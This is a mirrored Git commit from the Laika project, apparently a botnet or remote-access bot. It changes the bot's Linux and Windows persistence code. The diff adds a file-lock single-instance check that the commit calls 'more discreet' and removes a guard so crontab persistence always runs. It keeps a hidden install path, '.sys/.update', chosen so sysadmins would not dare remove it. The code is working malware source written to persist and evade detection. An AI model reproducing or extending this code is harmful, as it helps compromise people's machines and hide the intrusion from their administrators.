mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
Linux: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- switched to file locks as that's more discreet - tied to LAIKA_PERSISTENCE being defined
This commit is contained in:
parent
d94a6a5e17
commit
b60203d3f2
@ -3,10 +3,6 @@
|
|||||||
|
|
||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
|
|
||||||
#ifndef LAIKA_PERSISTENCE
|
|
||||||
#define LAIKA_NOINSTALL
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
|
@ -1,24 +1,26 @@
|
|||||||
/* platform specific code for achieving persistence on linux */
|
/* platform specific code for achieving persistence on linux */
|
||||||
|
|
||||||
/* this is only used to check if another instance of laika is currently running */
|
#include <unistd.h>
|
||||||
#define LAIKA_RESERVED_PORT 32876
|
#include <sys/types.h>
|
||||||
#define LAIKA_TMP_FILE "/tmp/laikaTMP"
|
#include <sys/stat.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
#include <pwd.h>
|
||||||
|
|
||||||
|
#include "persist.h"
|
||||||
|
#include "lconfig.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
|
||||||
|
/* we want a semi-random file lock that is stable between similar builds,
|
||||||
|
* so we use the GIT_VERSION as our file lock :D */
|
||||||
|
#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
||||||
|
|
||||||
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
||||||
#define LAIKA_INSTALL_DIR_USER ".sys"
|
#define LAIKA_INSTALL_DIR_USER ".sys"
|
||||||
#define LAIKA_INSTALL_FILE_USER ".update"
|
#define LAIKA_INSTALL_FILE_USER ".update"
|
||||||
|
|
||||||
#include "persist.h"
|
static int laikaB_lockFile;
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lerror.h"
|
|
||||||
#include "lmem.h"
|
|
||||||
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <pwd.h>
|
|
||||||
|
|
||||||
static struct sLaika_socket laikaB_markerPort;
|
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot() {
|
||||||
@ -27,22 +29,25 @@ bool laikaB_checkRoot() {
|
|||||||
|
|
||||||
/* mark that laika is currently running */
|
/* mark that laika is currently running */
|
||||||
void laikaB_markRunning() {
|
void laikaB_markRunning() {
|
||||||
#ifndef DEBUG
|
/* create lock file */
|
||||||
LAIKA_TRY
|
if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1)
|
||||||
laikaS_initSocket(&laikaB_markerPort, NULL, NULL, NULL, NULL);
|
LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n");
|
||||||
laikaS_bind(&laikaB_markerPort, LAIKA_RESERVED_PORT);
|
|
||||||
LAIKA_CATCH
|
/* create lock */
|
||||||
LAIKA_DEBUG("Failed to bind marker port, laika is already running!\n");
|
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
|
||||||
exit(0);
|
LAIKA_ERROR("Failed to create file lock!\n");
|
||||||
LAIKA_TRYEND
|
|
||||||
#endif
|
LAIKA_DEBUG("file lock created!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* unmark that laika is currently running */
|
/* unmark that laika is currently running */
|
||||||
void laikaB_unmarkRunning() {
|
void laikaB_unmarkRunning() {
|
||||||
#ifndef DEBUG
|
/* close lock */
|
||||||
laikaS_kill(&laikaB_markerPort);
|
if (flock(laikaB_lockFile, LOCK_UN) != 0)
|
||||||
#endif
|
LAIKA_ERROR("Failed to close file lock!\n");
|
||||||
|
|
||||||
|
close(laikaB_lockFile);
|
||||||
|
LAIKA_DEBUG("file lock removed!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void getCurrentExe(char *outPath, int pathSz) {
|
void getCurrentExe(char *outPath, int pathSz) {
|
||||||
@ -109,7 +114,6 @@ void tryPersistCron(char *path) {
|
|||||||
|
|
||||||
/* try to gain persistance on machine */
|
/* try to gain persistance on machine */
|
||||||
void laikaB_tryPersist() {
|
void laikaB_tryPersist() {
|
||||||
#ifndef LAIKA_NOINSTALL
|
|
||||||
char exePath[PATH_MAX];
|
char exePath[PATH_MAX];
|
||||||
char installPath[PATH_MAX];
|
char installPath[PATH_MAX];
|
||||||
|
|
||||||
@ -130,7 +134,6 @@ void laikaB_tryPersist() {
|
|||||||
LAIKA_CATCH
|
LAIKA_CATCH
|
||||||
LAIKA_DEBUG("crontab not installed or not accessible!");
|
LAIKA_DEBUG("crontab not installed or not accessible!");
|
||||||
LAIKA_TRYEND
|
LAIKA_TRYEND
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain root */
|
/* try to gain root */
|
||||||
|
@ -10,10 +10,11 @@
|
|||||||
int main(int argv, char *argc[]) {
|
int main(int argv, char *argc[]) {
|
||||||
struct sLaika_bot *bot;
|
struct sLaika_bot *bot;
|
||||||
|
|
||||||
|
#ifdef LAIKA_PERSISTENCE
|
||||||
|
laikaB_markRunning();
|
||||||
|
|
||||||
/* install persistence */
|
/* install persistence */
|
||||||
laikaB_tryPersist();
|
laikaB_tryPersist();
|
||||||
|
|
||||||
#ifdef LAIKA_PERSISTENCE
|
|
||||||
do {
|
do {
|
||||||
#endif
|
#endif
|
||||||
bot = laikaB_newBot();
|
bot = laikaB_newBot();
|
||||||
@ -33,6 +34,8 @@ int main(int argv, char *argc[]) {
|
|||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
sleep(5);
|
sleep(5);
|
||||||
} while (1);
|
} while (1);
|
||||||
|
|
||||||
|
laikaB_unmarkRunning();
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
@ -1,6 +1,12 @@
|
|||||||
/* platform specific code for achieving persistence on windows */
|
/* platform specific code for achieving persistence on windows */
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
|
#include "lconfig.h"
|
||||||
|
|
||||||
|
/* we want a semi-random mutex that is stable between similar builds,
|
||||||
|
* so we use the GIT_VERSION as our mutex :D */
|
||||||
|
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot() {
|
||||||
|
Loading…
Reference in New Issue
Block a user